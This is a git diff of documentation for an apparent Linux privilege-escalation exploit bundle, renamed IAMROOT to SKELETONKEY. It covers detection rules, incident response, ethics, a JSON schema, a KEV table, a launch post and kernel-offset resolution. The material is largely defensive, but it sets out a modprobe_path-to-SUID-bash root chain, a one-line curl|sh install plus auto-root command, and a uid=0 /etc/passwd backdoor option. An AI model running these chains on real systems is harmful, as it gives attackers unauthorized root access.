# OR manually:
|
||||
sudo rm /etc/modprobe.d/dirtyfail-mitigations.conf
|
||||
sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
|
||||
# Reload affected modules / sysctls per your distro
|
||||
```
|
||||
|
||||
## Per-module detection coverage
|
||||
|
||||
Across the 4 rule formats:
|
||||
|
||||
| Module | CVE | auditd | sigma | yara | falco |
|
||||
|---|---|:-:|:-:|:-:|:-:|
|
||||
| copy_fail | CVE-2026-31431 | ✓ | ✓ | ✓ | ✓ |
|
||||
| copy_fail_gcm | (variant) | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_frag_esp | CVE-2026-43284 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_frag_esp6 | CVE-2026-43284 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_frag_rxrpc | CVE-2026-43500 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_pipe | CVE-2022-0847 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirtydecrypt | CVE-2026-31635 | ✓ | ✓ | ✓ | ✓ |
|
||||
| fragnesia | CVE-2026-46300 | ✓ | ✓ | ✓ | ✓ |
|
||||
| pwnkit | CVE-2021-4034 | ✓ | ✓ | ✓ | ✓ |
|
||||
| pack2theroot | CVE-2026-41651 | ✓ | ✓ | ✓ | ✓ |
|
||||
| Other 21 modules | various | ✓ | partial | — | — |
|
||||
|
||||
Full 4-format coverage on the 10 highest-value modules; auditd
|
||||
covers everything. YARA / Falco expansion to the remaining 21 modules
|
||||
is incremental contributor work (each module's `detect_yara` /
|
||||
`detect_falco` field in the module struct just needs a string).
|
||||
|
||||
## Correlation across formats
|
||||
|
||||
Single-format detections are useful; the high-confidence signal is
|
||||
the **correlation across formats** for the same module in a short
|
||||
window. Each exploit leaves a recognisable multi-format trail:
|
||||
|
||||
| Exploit | falco fires | auditd fires | yara confirms |
|
||||
|---|---|---|---|
|
||||
| Pwnkit | `pkexec` empty argv | `execve /usr/bin/pkexec` + `GCONV_PATH=` env | gconv-modules cache in /tmp |
|
||||
| Dirty Pipe | `splice()` from `/etc/passwd` | splice + write to `/etc/passwd` | UID flip in `/etc/passwd` |
|
||||
| Copy Fail | `socket(AF_ALG)` | algif_aead + `ALG_SET_KEY` | UID flip in `/etc/passwd` |
|
||||
| Dirty Frag (ESP) | NETLINK_XFRM sendto + TCP_ULP | XFRM_MSG_NEWSA | UID flip in `/etc/passwd` |
|
||||
| DirtyDecrypt | `socket(AF_RXRPC)` + `add_key(rxrpc)` | AF_RXRPC + add_key | 120-byte ELF overwrites `/usr/bin/su` |
|
||||
| Fragnesia | `TCP_ULP=espintcp` from non-root | XFRM + setsockopt(TCP_ULP) | 192-byte ELF overwrites `/usr/bin/su` |
|
||||
| Pack2TheRoot | dpkg invoked by packagekitd with /tmp/.pk-*.deb | new `.deb` in `/tmp` + `chmod 4755` on `/tmp/.suid_bash` | malicious `.deb` + SUID bash both present |
|
||||
|
||||
If **three of the four signals** fire for the same module in the same
|
||||
window, the exploit landed. **One signal alone** in a noisy
|
||||
environment is more likely a tuning FP; **three signals** is incident
|
||||
response.
|
||||
|
||||
## Worked example: catching DirtyDecrypt end-to-end
|
||||
|
||||
A SOC operator gets a Falco page:
|
||||
|
||||
```
|
||||
CRITICAL AF_RXRPC socket() by non-root (user=alice proc=poc pid=44231)
|
||||
```
|
||||
|
||||
1. **Confirm via auditd** — pull events keyed on the family:
|
||||
```bash
|
||||
sudo ausearch -k skeletonkey-dirtydecrypt-rxrpc -ts recent
|
||||
```
|
||||
Expect: `socket(...,33,...)` + subsequent `add_key("rxrpc",...)`.
|
||||
|
||||
2. **Confirm via yara** — scan setuid binaries for the page-cache
|
||||
overlay:
|
||||
```bash
|
||||
yara /etc/yara/skeletonkey.yar /usr/bin/su /usr/bin/passwd
|
||||
```
|
||||
If `dirtydecrypt_payload_overlay` matches `/usr/bin/su`, **the
|
||||
exploit landed** — the binary's page cache has been overwritten
|
||||
with the 120-byte shellcode.
|
||||
|
||||
3. **Recover** — the on-disk binary is intact; only the page cache is
|
||||
corrupted. Drop it:
|
||||
```bash
|
||||
sudo skeletonkey --cleanup dirtydecrypt # or: echo 3 > /proc/sys/vm/drop_caches
|
||||
```
|
||||
|
||||
4. **Sigma hunt for lateral / repeat** — query your SIEM with the
|
||||
sigma rule ID `7c1e9a40-skeletonkey-dirtydecrypt` over the last 7
|
||||
days to find any other hosts.
|
||||
|
||||
5. **Patch.** DirtyDecrypt's mainline fix is commit `a2567217` in
|
||||
Linux 7.0 — see [`CVES.md`](../CVES.md) for distro backports.
|
||||
|
||||
6. **Harden.** `rxrpc` is rarely needed on non-AFS hosts:
|
||||
```bash
|
||||
echo "blacklist rxrpc" | sudo tee /etc/modprobe.d/blacklist-rxrpc.conf
|
||||
sudo update-initramfs -u
|
||||
```
|
||||
|
||||
The same shape applies to every module: pick the auditd key, the
|
||||
yara rule for the artifact, the falco rule for the runtime signal,
|
||||
and the sigma rule for the hunt.
|
||||
|
||||
## Common false positives + tuning
|
||||
|
||||
| Rule key | False positive | Fix |
|
||||
|---|---|---|
|
||||
| `iamroot-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs |
|
||||
| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts |
|
||||
| `iamroot-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign |
|
||||
| `iamroot-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs |
|
||||
| `iamroot-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` |
|
||||
| `skeletonkey-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs |
|
||||
| `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts |
|
||||
| `skeletonkey-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign |
|
||||
| `skeletonkey-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs |
|
||||
| `skeletonkey-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` |
|
||||
|
||||
## Pre-patch quarantine pattern
|
||||
|
||||
@@ -261,13 +426,13 @@ If a CVE is in active exploitation and you can't patch immediately:
|
||||
|
||||
```bash
|
||||
# Stage 1: detect
|
||||
sudo iamroot --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")'
|
||||
sudo skeletonkey --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")'
|
||||
|
||||
# Stage 2: mitigate (where supported)
|
||||
sudo iamroot --mitigate <module>
|
||||
sudo skeletonkey --mitigate <module>
|
||||
|
||||
# Stage 3: monitor — auditd rules already deployed
|
||||
sudo ausearch -k 'iamroot-*' -ts today | grep <module>
|
||||
sudo ausearch -k 'skeletonkey-*' -ts today | grep <module>
|
||||
|
||||
# Stage 4: contain — temporarily restrict the trigger surface
|
||||
# e.g., for nf_tables CVE-2024-1086:
|
||||
@@ -281,7 +446,7 @@ sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=1
|
||||
|
||||
## Maintenance contract
|
||||
|
||||
When IAMROOT ships a new module:
|
||||
When SKELETONKEY ships a new module:
|
||||
|
||||
1. CI test passes on at least one vulnerable + patched kernel pair
|
||||
2. Detection rules ship alongside (auditd + sigma minimum)
|
||||
@@ -293,7 +458,7 @@ Treat these as the SLA for any blue-team-facing deliverable.
|
||||
|
||||
## When you find a new false positive
|
||||
|
||||
File an issue at https://github.com/KaraZajac/IAMROOT/issues with:
|
||||
File an issue at https://github.com/KaraZajac/SKELETONKEY/issues with:
|
||||
- The exact ausearch line that fired
|
||||
- The legitimate process that produced it
|
||||
- Distro / kernel version
|
||||
|
||||
+13
-13
@@ -2,24 +2,24 @@
|
||||
|
||||
## Acceptable use
|
||||
|
||||
IAMROOT is intended for:
|
||||
SKELETONKEY is intended for:
|
||||
|
||||
1. **Authorized red-team / pentest engagements.** You have a written
|
||||
scope, signed by someone who can authorize testing on the target
|
||||
systems.
|
||||
2. **Defensive teams testing detection coverage.** You're using
|
||||
IAMROOT in a lab to verify your auditd/sigma/falco rules fire as
|
||||
SKELETONKEY in a lab to verify your auditd/sigma/falco rules fire as
|
||||
expected.
|
||||
3. **Security researchers studying historical LPEs.** You're reading
|
||||
the code, running it in your own VMs, learning how the primitives
|
||||
actually work end-to-end.
|
||||
4. **Build engineers verifying patch coverage.** You're running
|
||||
`iamroot --scan` against your fleet's golden images to confirm
|
||||
`skeletonkey --scan` against your fleet's golden images to confirm
|
||||
each known CVE shows up as patched.
|
||||
|
||||
## Not-acceptable use
|
||||
|
||||
IAMROOT should not be used:
|
||||
SKELETONKEY should not be used:
|
||||
|
||||
1. On systems you do not own and have not been authorized to test
|
||||
2. As part of unauthorized access to any system
|
||||
@@ -28,18 +28,18 @@ IAMROOT should not be used:
|
||||
4. To build a worm, scanner, or any tool that automatically targets
|
||||
systems at scale without per-target authorization
|
||||
|
||||
By using IAMROOT you assert that your use falls into the
|
||||
By using SKELETONKEY you assert that your use falls into the
|
||||
acceptable-use cases above.
|
||||
|
||||
## Why this is publishable
|
||||
|
||||
Every CVE bundled in IAMROOT is:
|
||||
Every CVE bundled in SKELETONKEY is:
|
||||
|
||||
- **Already patched** in upstream mainline kernel
|
||||
- **Already published** in NVD or distro security trackers
|
||||
- **Already covered** by existing public PoCs
|
||||
|
||||
IAMROOT does not introduce new offensive capability. It bundles,
|
||||
SKELETONKEY does not introduce new offensive capability. It bundles,
|
||||
documents, and CI-tests what is already public — and ships the
|
||||
detection signatures defenders need to spot it.
|
||||
|
||||
@@ -51,25 +51,25 @@ real defensive value through the detection-rule exports.
|
||||
|
||||
## Disclosure
|
||||
|
||||
If you find a bug in IAMROOT itself (incorrect detection, broken
|
||||
If you find a bug in SKELETONKEY itself (incorrect detection, broken
|
||||
exploit on a kernel where it should work, missing a backport in the
|
||||
range metadata): file a public GitHub issue.
|
||||
|
||||
If you find a **new 0-day kernel LPE while inspired by reading
|
||||
IAMROOT code**: please disclose it responsibly to the kernel
|
||||
SKELETONKEY code**: please disclose it responsibly to the kernel
|
||||
security team (`security@kernel.org`) and the affected distros
|
||||
*before* writing a public PoC. Once upstream patch ships and a CVE
|
||||
is assigned, IAMROOT will gladly accept the module.
|
||||
is assigned, SKELETONKEY will gladly accept the module.
|
||||
|
||||
## Persistence and stealth are out of scope
|
||||
|
||||
`--exploit-backdoor` in the copy_fail module overwrites a
|
||||
`/etc/passwd` line with a `uid=0` shell account. This is **overt**:
|
||||
|
||||
- The username is `iamroot` (was `dirtyfail`) — instantly identifiable
|
||||
- It's covered by the auditd rules IAMROOT ships
|
||||
- The username is `skeletonkey` (was `dirtyfail`) — instantly identifiable
|
||||
- It's covered by the auditd rules SKELETONKEY ships
|
||||
- `--cleanup-backdoor` restores the original line
|
||||
|
||||
If you're looking for evasion, persistence, or stealth: not here.
|
||||
Use a real C2 framework if you have authorization to do so. IAMROOT
|
||||
Use a real C2 framework if you have authorization to do so. SKELETONKEY
|
||||
stops at "demonstrate that the bug works."
|
||||
|
||||
@@ -0,0 +1,139 @@
|
||||
# SKELETONKEY JSON output schema
|
||||
|
||||
`skeletonkey --scan --json` (and `--auto --json`, planned) emit a
|
||||
single JSON object on **stdout**. All human-readable banner lines and
|
||||
per-module log chatter go to **stderr** in JSON mode — pipes to SIEMs
|
||||
and fleet aggregators get a clean machine-parseable document on
|
||||
stdout while operators still see diagnostics on stderr.
|
||||
|
||||
This document is the contract for that JSON. SKELETONKEY treats it
|
||||
as a stability commitment: new fields may appear in future releases,
|
||||
but existing field names and value types do not change without a
|
||||
major-version bump.
|
||||
|
||||
## Top-level object
|
||||
|
||||
```json
|
||||
{
|
||||
"version": "0.6.0",
|
||||
"modules": [ /* ... per-module entries ... */ ]
|
||||
}
|
||||
```
|
||||
|
||||
| Field | Type | Stability | Meaning |
|
||||
|------------|----------|------------|---------|
|
||||
| `version` | string | stable | The SKELETONKEY release that produced this document. Semver-ish (`MAJOR.MINOR.PATCH`). Consumers may use it to correlate with the corpus inventory in [`CVES.md`](../CVES.md). |
|
||||
| `modules` | array | stable | One entry per registered module, emitted in the order the dispatcher's `--list` reports them. Length grows monotonically as new modules land. |
|
||||
|
||||
## Per-module entry
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "dirty_pipe",
|
||||
"cve": "CVE-2022-0847",
|
||||
"result": "OK"
|
||||
}
|
||||
```
|
||||
|
||||
| Field | Type | Stability | Meaning |
|
||||
|----------|--------|-----------|---------|
|
||||
| `name` | string | stable | The module's CLI identifier — what you pass to `--exploit <name>`. Lowercase, ASCII, `_`-delimited. Never changes for a given module across releases. |
|
||||
| `cve` | string | stable | The CVE identifier (`CVE-YYYY-NNNNN`), or `"VARIANT"` for sibling variants without their own CVE (e.g. `copy_fail_gcm`), or `"-"` for primitives like `entrybleed` that have a CVE-less role. |
|
||||
| `result` | string | stable | One of the `result` enum values below. |
|
||||
|
||||
## `result` enum
|
||||
|
||||
| Value | Exit code | Meaning |
|
||||
|----------------|-----------|---------|
|
||||
| `OK` | 0 | Module's `detect()` ran successfully. Host is **patched** for this CVE, or the bug class is not applicable here (predates the introduction, wrong arch, etc.). Safe to ignore for this host. |
|
||||
| `TEST_ERROR` | 1 | `detect()` could not decide — the host fingerprint is missing data, the version parser failed, or an internal probe errored. Treat as "no information; check manually." |
|
||||
| `VULNERABLE` | 2 | Host is **vulnerable** to this CVE per the module's detect logic (version-based and/or empirical active probe). `--exploit <name> --i-know` will attempt to land root. |
|
||||
| `EXPLOIT_FAIL` | 3 | Only ever returned by `--exploit`, never by `--scan`. Exploit was attempted but did not land root. Diagnostic context goes to stderr. |
|
||||
| `PRECOND_FAIL` | 4 | A documented precondition is not met on this host — examples: unprivileged user namespaces disabled, AppArmor restriction on, sudo not installed, AF_RXRPC unavailable. The bug may exist on the kernel but the carrier path here is closed. |
|
||||
| `EXPLOIT_OK` | 5 | Only ever returned by `--exploit` / `--auto`. Root was achieved; for `--auto` mode this is the process exit code that drove the dispatcher into a root shell. |
|
||||
|
||||
## Process exit code semantics for `--scan`
|
||||
|
||||
The process exit code is the **worst (highest) result code** observed
|
||||
across all modules. This lets a SIEM treat the binary's exit code as
|
||||
a single-host alert level without re-parsing JSON:
|
||||
|
||||
| Exit code | Interpretation |
|
||||
|-----------|-----------------------------------------------------|
|
||||
| 0 | All modules `OK`. Host is patched for the corpus. |
|
||||
| 1 | At least one module returned `TEST_ERROR`. Investigate. |
|
||||
| 2 | At least one module returned `VULNERABLE`. Patch the host. |
|
||||
| 4 | At least one module returned `PRECOND_FAIL` (and none worse). Host has reduced attack surface but is not necessarily safe. |
|
||||
|
||||
(Process exit codes 3 and 5 are exclusive to the `--exploit` /
|
||||
`--auto` modes and never appear in `--scan` output.)
|
||||
|
||||
## Example: invoking + parsing
|
||||
|
||||
```bash
|
||||
# capture pure JSON
|
||||
skeletonkey --scan --json --no-color > host-$(hostname).json 2> /dev/null
|
||||
|
||||
# any vulnerable modules?
|
||||
jq -e '.modules[] | select(.result == "VULNERABLE") | .name' host-*.json
|
||||
|
||||
# fleet roll-up — modules vulnerable across the fleet, by frequency
|
||||
jq -s 'map(.modules[] | select(.result == "VULNERABLE") | .name)
|
||||
| flatten | group_by(.) | map({mod: .[0], count: length})
|
||||
| sort_by(-.count)' host-*.json
|
||||
```
|
||||
|
||||
`jq -e` exits non-zero when its selector matches nothing, giving the
|
||||
fleet runner a per-host "any-vulnerable" boolean without parsing the
|
||||
document.
|
||||
|
||||
## Stability promises
|
||||
|
||||
**Stable across non-major releases:**
|
||||
|
||||
- Field names listed in the tables above (`version`, `modules`, `name`,
|
||||
`cve`, `result`).
|
||||
- The `result` enum string set. New result strings cannot appear
|
||||
without a major version bump.
|
||||
- The `modules` array containing exactly one entry per registered
|
||||
module.
|
||||
- Exit-code semantics for `--scan`.
|
||||
|
||||
**May change without notice:**
|
||||
|
||||
- The `modules` array length, ordering, and contents (new modules are
|
||||
added regularly; ordering follows registration order which is
|
||||
stable per release but not a contract).
|
||||
- Whitespace / formatting of the JSON itself (consumers MUST parse,
|
||||
not regex).
|
||||
- Field values for `cve` (a stub variant could gain a real CVE later).
|
||||
|
||||
**May be added in future minor versions:**
|
||||
|
||||
- New per-module fields (e.g. `family`, `summary`, `safety_rank`,
|
||||
`kernel_range`). Consumers MUST ignore unknown fields.
|
||||
- New top-level fields (e.g. `host_fingerprint`, `scan_started_at`,
|
||||
`schema_version`). Consumers MUST ignore unknown fields.
|
||||
- A `--scan --active --json` output may grow per-probe verdict
|
||||
metadata under a new `probe` sub-object.
|
||||
|
||||
## Recommended consumer pattern
|
||||
|
||||
```python
|
||||
import json, subprocess, sys
|
||||
|
||||
doc = json.loads(subprocess.check_output(
|
||||
["skeletonkey", "--scan", "--json", "--no-color"],
|
||||
stderr=subprocess.DEVNULL,
|
||||
))
|
||||
|
||||
assert doc["version"], "missing top-level version"
|
||||
for mod in doc["modules"]:
|
||||
assert mod["name"] and mod["cve"] and mod["result"], \
|
||||
f"malformed module entry: {mod!r}"
|
||||
if mod["result"] == "VULNERABLE":
|
||||
print(f"{mod['name']} ({mod['cve']}): VULNERABLE", file=sys.stderr)
|
||||
```
|
||||
|
||||
Ignore unknown fields. Match `result` against the enum, but treat
|
||||
unknown strings as `TEST_ERROR`-equivalent (forward-compat).
|
||||
@@ -0,0 +1,47 @@
|
||||
# CISA KEV Cross-Reference
|
||||
|
||||
Which SKELETONKEY modules cover CVEs that CISA has observed exploited
|
||||
in the wild per the Known Exploited Vulnerabilities catalog.
|
||||
Refreshed via `tools/refresh-cve-metadata.py`.
|
||||
|
||||
**10 of 26 modules cover KEV-listed CVEs.**
|
||||
|
||||
## In KEV (prioritize patching)
|
||||
|
||||
| CVE | Date added to KEV | CWE | Module |
|
||||
| --- | --- | --- | --- |
|
||||
| CVE-2019-13272 | 2021-12-10 | ? | `ptrace_traceme_cve_2019_13272` |
|
||||
| CVE-2016-5195 | 2022-03-03 | CWE-362 | `dirty_cow_cve_2016_5195` |
|
||||
| CVE-2021-3156 | 2022-04-06 | CWE-193 | `sudo_samedit_cve_2021_3156` |
|
||||
| CVE-2022-0847 | 2022-04-25 | CWE-665 | `dirty_pipe_cve_2022_0847` |
|
||||
| CVE-2021-4034 | 2022-06-27 | CWE-787 | `pwnkit_cve_2021_4034` |
|
||||
| CVE-2021-3493 | 2022-10-20 | CWE-270 | `overlayfs_cve_2021_3493` |
|
||||
| CVE-2024-1086 | 2024-05-30 | CWE-416 | `nf_tables_cve_2024_1086` |
|
||||
| CVE-2022-0185 | 2024-08-21 | CWE-190 | `fuse_legacy_cve_2022_0185` |
|
||||
| CVE-2023-0386 | 2025-06-17 | CWE-282 | `overlayfs_setuid_cve_2023_0386` |
|
||||
| CVE-2021-22555 | 2025-10-06 | CWE-787 | `netfilter_xtcompat_cve_2021_22555` |
|
||||
|
||||
## Not in KEV
|
||||
|
||||
Not observed exploited per CISA — but several have public PoC code
|
||||
and are technically reachable. "Not in KEV" is not the same as
|
||||
"safe to ignore".
|
||||
|
||||
| CVE | CWE | Module |
|
||||
| --- | --- | --- |
|
||||
| CVE-2017-7308 | CWE-681 | `af_packet_cve_2017_7308` |
|
||||
| CVE-2020-14386 | CWE-250 | `af_packet2_cve_2020_14386` |
|
||||
| CVE-2021-33909 | CWE-190 | `sequoia_cve_2021_33909` |
|
||||
| CVE-2022-0492 | CWE-287 | `cgroup_release_agent_cve_2022_0492` |
|
||||
| CVE-2022-25636 | CWE-269 | `nft_fwd_dup_cve_2022_25636` |
|
||||
| CVE-2022-2588 | CWE-416 | `cls_route4_cve_2022_2588` |
|
||||
| CVE-2023-0179 | CWE-190 | `nft_payload_cve_2023_0179` |
|
||||
| CVE-2023-0458 | CWE-476 | `entrybleed_cve_2023_0458` |
|
||||
| CVE-2023-2008 | CWE-129 | `vmwgfx_cve_2023_2008` |
|
||||
| CVE-2023-22809 | CWE-269 | `sudoedit_editor_cve_2023_22809` |
|
||||
| CVE-2023-32233 | CWE-416 | `nft_set_uaf_cve_2023_32233` |
|
||||
| CVE-2023-3269 | CWE-416 | `stackrot_cve_2023_3269` |
|
||||
| CVE-2023-4622 | CWE-416 | `af_unix_gc_cve_2023_4622` |
|
||||
| CVE-2026-31635 | CWE-130 | `dirtydecrypt_cve_2026_31635` |
|
||||
| CVE-2026-41651 | CWE-367 | `pack2theroot_cve_2026_41651` |
|
||||
| CVE-2026-46300 | ? | `fragnesia_cve_2026_46300` |
|
||||
+102
@@ -0,0 +1,102 @@
|
||||
# SKELETONKEY — launch post
|
||||
|
||||
> Copy-pasteable for HN, lobste.rs, mastodon, blog. ~600 words.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY: a curated Linux LPE corpus with detection rules baked in
|
||||
|
||||
The Linux privilege-escalation space is fragmented. Single-CVE PoC
|
||||
repos go stale within months. `linux-exploit-suggester` tells you
|
||||
what *might* work but doesn't run anything. `auto-root-exploit` and
|
||||
`kernelpop` bundle exploits but ship no detection signatures and
|
||||
haven't been maintained in years.
|
||||
|
||||
**SKELETONKEY** is one curated binary that:
|
||||
|
||||
1. Fingerprints the host's kernel / distro / sudo / userland.
|
||||
2. Reports which of 28 bundled CVEs that host is still vulnerable
|
||||
to — covering 2016 through 2026.
|
||||
3. With explicit `--i-know` authorization, runs the safest one and
|
||||
gets you root.
|
||||
4. Ships matching **auditd + sigma rules** for every CVE so blue
|
||||
teams get the same coverage when they deploy it.
|
||||
|
||||
### One command
|
||||
|
||||
```bash
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
&& skeletonkey --auto --i-know
|
||||
```
|
||||
|
||||
`--auto` ranks vulnerable modules by **exploit safety** —
|
||||
structural escapes (no kernel state touched) first, then page-cache
|
||||
writes, then userspace cred-races, then kernel primitives, then
|
||||
kernel races last — and runs the safest match. If it fails it falls
|
||||
back gracefully and tells you the next candidates to try manually.
|
||||
|
||||
### What's in the corpus
|
||||
|
||||
- **Userspace LPE**: pwnkit (CVE-2021-4034), sudo Baron Samedit
|
||||
(CVE-2021-3156), sudoedit EDITOR escape (CVE-2023-22809)
|
||||
- **Page-cache writes**: dirty_pipe (CVE-2022-0847), dirty_cow
|
||||
(CVE-2016-5195), copy_fail family (CVE-2026-31431, 43284, 43500)
|
||||
- **Container/namespace**: cgroup_release_agent (CVE-2022-0492),
|
||||
overlayfs (CVE-2021-3493), overlayfs_setuid (CVE-2023-0386),
|
||||
fuse_legacy (CVE-2022-0185)
|
||||
- **Kernel primitives**: netfilter (4 CVEs from 2022→2024),
|
||||
af_packet (CVE-2017-7308, CVE-2020-14386), cls_route4
|
||||
(CVE-2022-2588), netfilter_xtcompat (CVE-2021-22555)
|
||||
- **Kernel races**: stackrot (CVE-2023-3269), af_unix_gc
|
||||
(CVE-2023-4622), Sequoia (CVE-2021-33909)
|
||||
- **Side channels**: EntryBleed kbase leak (CVE-2023-0458)
|
||||
- **Graphics**: vmwgfx DRM OOB (CVE-2023-2008)
|
||||
- **Userspace classic**: PTRACE_TRACEME (CVE-2019-13272)
|
||||
|
||||
Full inventory at
|
||||
[CVES.md](https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md).
|
||||
|
||||
### The verified-vs-claimed bar
|
||||
|
||||
Most public PoC repos hardcode offsets for one kernel build and
|
||||
silently break elsewhere. SKELETONKEY refuses to ship fabricated
|
||||
offsets. Modules with a kernel primitive but no per-kernel
|
||||
cred-overwrite chain default to firing the primitive + grooming the
|
||||
slab + recording an empirical witness, then return
|
||||
`EXPLOIT_FAIL` honestly. The opt-in `--full-chain` engages the
|
||||
shared `modprobe_path` finisher with sentinel-arbitrated success
|
||||
(it only claims root when a setuid bash actually materializes).
|
||||
|
||||
When `--full-chain` needs kernel offsets, you populate them once on
|
||||
a target kernel via `skeletonkey --dump-offsets` (parses
|
||||
`/proc/kallsyms` or `/boot/System.map`) and either set env vars or
|
||||
upstream the entry to `core/offsets.c kernel_table[]` via PR.
|
||||
|
||||
### For each side of the house
|
||||
|
||||
- **Red team**: stop curating broken PoCs. One tested binary, fresh
|
||||
releases, honest scope reporting.
|
||||
- **Sysadmins**: one command, no SaaS, JSON output for CI gates.
|
||||
Fleet-scan tool included.
|
||||
- **Blue team**: `skeletonkey --detect-rules --format=auditd | sudo
|
||||
tee /etc/audit/rules.d/99-skeletonkey.rules` and you have coverage
|
||||
for every CVE in the bundle. Sigma + YARA + Falco output also
|
||||
supported.
|
||||
|
||||
### Status + roadmap
|
||||
|
||||
v0.5.0 today: 28 modules, all build clean on Debian 13 / kernel
|
||||
6.12, all refuse-on-patched verified. The embedded offset table is
|
||||
empty — operator-populated. Next: empirical validation on a
|
||||
multi-distro vuln-kernel VM matrix, then offset-table community
|
||||
seeding for common cloud builds.
|
||||
|
||||
MIT. Each module credits the original CVE reporter and PoC author
|
||||
in its `NOTICE.md`. The research credit belongs to the people who
|
||||
found the bugs; SKELETONKEY is the bundling layer.
|
||||
|
||||
**Repo:** https://github.com/KaraZajac/SKELETONKEY
|
||||
**Release:** https://github.com/KaraZajac/SKELETONKEY/releases/latest
|
||||
|
||||
Authorized testing only. Read [docs/ETHICS.md](ETHICS.md) before you
|
||||
point this at anything you don't own.
|
||||
+171
@@ -0,0 +1,171 @@
|
||||
# SKELETONKEY — kernel offset resolution
|
||||
|
||||
The 7 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
|
||||
write, slab UAF, etc.). The default `--exploit` returns
|
||||
`SKELETONKEY_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed
|
||||
bar means we don't claim root unless we empirically have it.
|
||||
|
||||
`--full-chain` engages the shared finisher (`core/finisher.{c,h}`) which
|
||||
converts the primitive to a real root pop via `modprobe_path` overwrite:
|
||||
|
||||
```
|
||||
attacker → arb_write(modprobe_path, "/tmp/skeletonkey-mp-<pid>.sh")
|
||||
→ execve("/tmp/skeletonkey-trig-<pid>") # unknown-format binary
|
||||
→ kernel call_modprobe() # spawns modprobe_path as init
|
||||
→ /tmp/skeletonkey-mp-<pid>.sh runs as root
|
||||
→ cp /bin/bash /tmp/skeletonkey-pwn-<pid>; chmod 4755 /tmp/skeletonkey-pwn-<pid>
|
||||
→ caller exec /tmp/skeletonkey-pwn-<pid> -p
|
||||
→ root shell
|
||||
```
|
||||
|
||||
This requires resolving `&modprobe_path` (a single kernel virtual
|
||||
address) at runtime.
|
||||
|
||||
## Resolution chain
|
||||
|
||||
`core/offsets.c` tries four sources in order, accepting the first
|
||||
non-zero value for each field:
|
||||
|
||||
1. **Environment variables** — operator override.
|
||||
- `SKELETONKEY_KBASE=0x...`
|
||||
- `SKELETONKEY_MODPROBE_PATH=0x...`
|
||||
- `SKELETONKEY_POWEROFF_CMD=0x...`
|
||||
- `SKELETONKEY_INIT_TASK=0x...`
|
||||
- `SKELETONKEY_INIT_CRED=0x...`
|
||||
- `SKELETONKEY_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`)
|
||||
- `SKELETONKEY_CRED_OFFSET_EFF=0x...`
|
||||
- `SKELETONKEY_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4)
|
||||
|
||||
2. **`/proc/kallsyms`** — only useful when `kernel.kptr_restrict=0`
|
||||
OR you're already root. On modern distros (kptr_restrict=1 by
|
||||
default) non-root reads return all zeros and this source is
|
||||
silently skipped.
|
||||
|
||||
3. **`/boot/System.map-$(uname -r)`** — world-readable on some distros
|
||||
(older Debian, some Alma builds). Unaffected by `kptr_restrict`.
|
||||
|
||||
4. **Embedded table** — keyed by `uname -r` glob, entries are
|
||||
offsets *relative to `_text`* (KASLR-safe). Applied on top of a
|
||||
kbase leak (e.g. EntryBleed). Seeded empty in v0.2.0 — schema-only —
|
||||
to honor the no-fabricated-offsets rule. Operators who verify
|
||||
offsets on a specific kernel build are encouraged to upstream
|
||||
entries.
|
||||
|
||||
## How operators populate offsets
|
||||
|
||||
### One-shot (preferred for ad-hoc use)
|
||||
|
||||
```bash
|
||||
# Look up on a kernel you control (as root, once):
|
||||
sudo grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms
|
||||
|
||||
# Use the addresses inline:
|
||||
SKELETONKEY_MODPROBE_PATH=0xffffffff8228e7e0 \
|
||||
skeletonkey --exploit nf_tables --i-know --full-chain
|
||||
```
|
||||
|
||||
### Automated dump (preferred for upstreaming)
|
||||
|
||||
`skeletonkey --dump-offsets` walks the four-source chain itself and emits
|
||||
a ready-to-paste C struct entry on stdout:
|
||||
|
||||
```bash
|
||||
sudo skeletonkey --dump-offsets
|
||||
# /* Generated 2026-05-16 by `skeletonkey --dump-offsets`.
|
||||
# * Host kernel: 5.15.0-56-generic distro=ubuntu
|
||||
# * Resolved fields: modprobe_path=kallsyms init_task=kallsyms cred=table
|
||||
# * Paste this entry into kernel_table[] in core/offsets.c.
|
||||
# */
|
||||
# { .release_glob = "5.15.0-56-generic",
|
||||
# .distro_match = "ubuntu",
|
||||
# .rel_modprobe_path = 0x148e480,
|
||||
# .rel_poweroff_cmd = 0x148e3a0,
|
||||
# .rel_init_task = 0x1c11dc0,
|
||||
# .rel_init_cred = 0x1e0c460,
|
||||
# .cred_offset_real = 0x738,
|
||||
# .cred_offset_eff = 0x740,
|
||||
# },
|
||||
```
|
||||
|
||||
Paste the block into `kernel_table[]` in `core/offsets.c`, rebuild,
|
||||
